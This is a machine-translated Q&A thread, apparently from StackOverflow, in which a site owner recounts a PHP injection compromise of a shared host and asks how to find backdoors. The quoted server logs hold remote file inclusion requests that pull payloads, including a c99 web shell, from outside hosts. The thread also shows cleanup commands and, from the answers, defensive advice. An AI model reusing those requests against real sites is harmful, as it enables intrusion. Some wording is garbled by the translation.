2009-02-15 2 views
12

Когда-то моя общая среда хостинга скомпрометирована, потому что я не смог удержать портфолио установленных установленных приложений. На прошлой неделе это произошло из-за старой и неиспользуемой установки PHP-приложения под названием «Справочный центр Live». В результате каждый файл PHP на сервере (и у меня есть несколько приложений Wordpress, Joomlas, SilverStripe) добавлен код, который вытащил скрытые ссылки с других сайтов и включил их в мою страницу. Другие люди сообщают, что их сайты были запрещены Google после такого рода нападений - к счастью, я, кажется, поймал его достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузер для мобильных устройств.PHP Injection Attack - как лучше очистить беспорядок?

Я нашел много попыток атаки, как этот в журнале:

62.149.18.193 - - [06/февраля/2009: 14: 52: 45 +0000] «GET /support/module.php ? модуль = HelpCenter // включают в себя/main.php? конфигурации [search_disp] = истинная & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7/данных/фото/ id2.txt ??? HTTP/1.1" 200 26 " - "" libwww-perl/5.814 "

Я сразу же удалил это приложение катион, и написал сценарий, который удалил нарушающий PHP-код из каждого исходного файла. Я также обнаружил, что скрипт создал HTML-файлы, содержащие ссылки для других зараженных сайтов. Я тоже удалил их. Теперь я обеспокоен тем, что злоумышленник может оставить что-то еще, что я пропустил, - файл PHP где-нибудь, который даст ему постоянный доступ. Даты файлов были изменены в атаке, и я не мог найти никаких других файлов, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?

Редактировать: Я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел.

Другое редактирование: Если вам посчастливилось встретить этот пост, потому что вы находите себя в той же ситуации, возможно, это поможет вам. Я использовал это, чтобы создать резервную копию всех моих исходных PHP файлы перед манипулируя ими:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \; 

и это, чтобы отменить изменения, что злоумышленник сделал:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \; 

не ракетостроение, но не тривиальные ни для случайный пользователь Linux/Unix, как и я :-).

Другое редактирование: Я не могу проверять каждую строку кода на сервере, но я могу искать подозрительные данные. Я искал все вхождения «eval» и «base64» и не нашел ничего, что не выглядело бы законным. Затем я запустил grep для «.ru» (так как преступники, похоже, пришли оттуда), и вот, нашел и нашел что-то, называемое оболочкой c99, которую я быстро удалил.

Окончательное редактирование: Я узнал, как была загружена оболочка c99 - через отверстие в галерее Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files 
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-" 
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] " 
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-" 

IP-адрес, кстати, является IP-адресом Godaddy.

ответ

4

После того, как ваша система была включена, у вас действительно есть только два варианта: проверить каждую строку каждого приложения или переустановить все. Поскольку это звучит так, как будто это все открытые или коммерческие программы, вам, вероятно, лучше переустановить их все. На самом деле нет лучшего способа гарантировать, что у вас нет задней двери в одном из них.

Эксперт по безопасности, скорее всего, порекомендует вам полностью переустановить ОС, потому что вы не можете быть уверены, что какой-то код не был проскользнут в место, которое повлияет на ОС, однако, если ваши разрешения, при правильной настройке, могут быть излишество.

19

1.) Храните репозиторий файлов, которые вы используете для этих приложений (например,SVN или аналогичный)

2.) Не уточненный как можно лучше с каждым приложением обновления безопасности (большинство из них имеет RSS-канал)

3.) Резервное копирование БД регулярно

Если/когда! @ # $ попадает в вентилятор, вы можете начать с новой копии БД и переделать код из SVN.

+1

Приятной вещью сохранения резервной копии SVN является то, что вы можете легко определить, что изменилось и в каких файлах. – bart

+0

+1 - это также позволяет легко разрабатывать вне своей производственной среды – kdgregory

1

Мы делаем полный список каталогов, все диски и папки, в текстовый файл каждый день.

Это помогло нам узнать, какие файлы были скручены, после того, как это произошло в прошлом.

Не помогите с тем, где вы сейчас находитесь, но может помочь в будущем.

(не останавливают вещи подделки их размера/дата изменения, но и поможет разобраться в беспорядок для вещей, которые не беспокоить)

1

В дополнении к тому, что другие сказали, что вы можете установить некоторые системы обнаружения вторжений (например, PHPIDS, который является открытым исходным кодом).

Смежные вопросы